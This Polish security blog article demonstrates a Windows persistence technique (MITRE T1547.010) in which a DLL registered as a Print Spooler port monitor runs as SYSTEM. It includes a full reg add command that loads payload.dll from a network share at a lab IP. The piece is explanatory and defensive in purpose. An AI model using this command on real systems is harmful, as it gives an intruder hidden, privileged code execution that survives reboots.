Menu dostępności

Uruchomienie złośliwego oprogramowania z wykorzystaniem monitora portów drukarek

W dzisiejszym artykule opiszemy jedną z ciekawych technik trwałego ukrywania się cyberprzestępców w systemie Windows, umożliwiającą uruchomienie złośliwego oprogramowania. Została ona opisana w Mitre T1547.010 i na potrzeby artykułu postanowiliśmy ją zademonstrować. Jest ona ciekawa, ponieważ możliwa jest do wykonania nawet na najnowszych wersjach Windows.


Co to jest Port Monitor?

Opisywana technika wykorzystuje możliwość Print Spoolera, czyli serwisu na Windows odpowiadającego za funkcje bufora wydruku (drukowania), w której można do systemu dodawać tak zwane monitory portów (Port Monitor). Cyberprzestępca, jeśli zdobędzie odpowiednie uprawnienia zapisu do gałęzi rejestru (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors) lub lokalnego administratora na Windows będzie miał możliwość dodania w nim monitor portu drukarki oraz dodania dowolnej biblioteki DLL, która będzie działać jako „monitor”.

Istnieją zasadniczo dwa sposoby dodania monitora portu, zwanego również złośliwą biblioteką dll:

  • za pośrednictwem rejestru systemowego w celu zapewnienia na sztywno przyczółku w systemie. Potrzebny będzie restart komputera.
  • za pośrednictwem niestandardowej aplikacji systemu Windows (funkcja AddMonitor) do natychmiastowego wykonania biblioteki dll.

Ponieważ usługa Print Spooler działa na najwyższych uprawnieniach systemowych „ZARZĄDZANIE NT/SYSTEM”, to tak skonfigurowana biblioteka DLL uruchomi się także w kontekście tych uprawnień. Stwarza to cyberprzestępcom nieograniczone możliwości w systemie Windows.


Przykład złośliwej biblioteki

Poniżej zamieszczamy kod biblioteki (payload.dll) napisanej w C++, której wynikiem działania jest uruchomienie na pulpicie Windows okna z wiadomością.


Jak stworzyć przyczółek w Windows z wykorzystaniem Port Monitor?

Dokumentacja Microsoft MSDN określa, że biblioteka DLL musi znaleźć się we wpisie Drivers i wszelkie pliki towarzyszące muszą znajdować się w katalogu „C:\Windows\System32\”. Okazuje się, że niekoniecznie tak musi być z lokalizacją biblioteki. Możemy ją załadować z udziału sieciowego tak, jak zostało to opisane i pokazane tutaj.

W celu dodanie wymaganego klucza do rejestru możemy użyć poniżej komendy: reg add „HKLM\System\CurrentControlSet\Control\Print\Monitors\KapitanHack” /v „Driver” /d „\\172.16.215.100\kapitan\payload.dll” /t REG_SZ”

W wyniku której zostanie dodany nasz port monitor KapitanHack z payload (plik payload.dll) pochodzącym z udostępnionego dla wszystkich (tryb zapis i odczyt) udziału o nazwie „kapitan” na serwerze 172.16.215.100.

Po ponownym uruchomieniu komputera możemy zobaczyć wynik w postaci uruchomienia biblioteki (pliku payload.dll), a konkretniej w naszym przypadku wywołania w niej funkcji uruchamiającej okno komunikatu na Windows.

Nasz plik payload.dll możemy załadować do Port Monitor z wykorzystaniem wcześniej wspomnianej funkcji w C++ AddMonitor().

Kompilując powyższy kod i uruchamiając go, system Windows uruchomi go automatycznie i na ekranie powinno pojawić się okno z naszym komunikatem. Uwaga! Program musimy uruchomić na użytkowniku posiadającym lokalne uprawnienia administracyjne lub przynajmniej uprawnienie SeLoadDriverPrivilege.

Popularne

Atak bez hasła na Microsoft 365. Przestępcy przejmowali sesje i obchodzili MFA

Atak bez hasła na Microsoft 365. Przestępcy przejmowali sesje i obchodzili MFA

Kampania wykorzystująca kradzież i powtórne użycie tokenów uwierzytelniających doprowadziła do przejęcia 97 kont w 79 organizacjach. Cyberprzestępcy nie musieli łamać haseł ani ponownie przechodzić uwierzytelni...
Badacz uzyskał uprawnienia roota w najnowszym Samsung Smart TV i odkrył zaskakujące fakty

Badacz uzyskał uprawnienia roota w najnowszym Samsung Smart TV i odkrył zaskakujące fakty

Współczesne Smart TV korzystają z systemów operacyjnych, łączą się z Internetem, analizują sposób korzystania z aplikacji i mogą wspierać personalizację reklam. Pojawia się jednak pytanie, gdzie kończy...
Jak hakerzy wykorzystują PHP2Shell do uzyskania uprawnień administratora (root) na Firewallach

Jak hakerzy wykorzystują PHP2Shell do uzyskania uprawnień administratora (root) na Firewallach

Nie tak dawno obszernie analizowaliśmy dwie krytyczne luki dotyczące silnika PHP wykorzystywanego przez miliony stron internetowych. W artykule dostępnym tutaj opisywaliśmy, jak mogą być eksploatowane te po...
Wykradanie haseł do Wifi z urządzeń sieciowych (na przykładzie modemu od UPC)

Wykradanie haseł do Wifi z urządzeń sieciowych (na przykładzie modemu od UPC)

Posiadasz urządzenie od UPC lub inne, które łączy się po Wifi? Chciałbyś poznać jego hasło do sieci? W tym artykule opiszemy sposób, dzięki któremu będziemy mogli poznać aktualne hasło do WiFi przech...
LiteLLM znów przejęty. Złośliwa aktualizacja wykradała klucze API i poświadczenia

LiteLLM znów przejęty. Złośliwa aktualizacja wykradała klucze API i poświadczenia

21 października 2026 r. doszło do kolejnego poważnego incydentu bezpieczeństwa związanego z LiteLLM, popularnym rozwiązaniem open source wykorzystywanym do integracji aplikacji z modelami językowymi. Atakuj...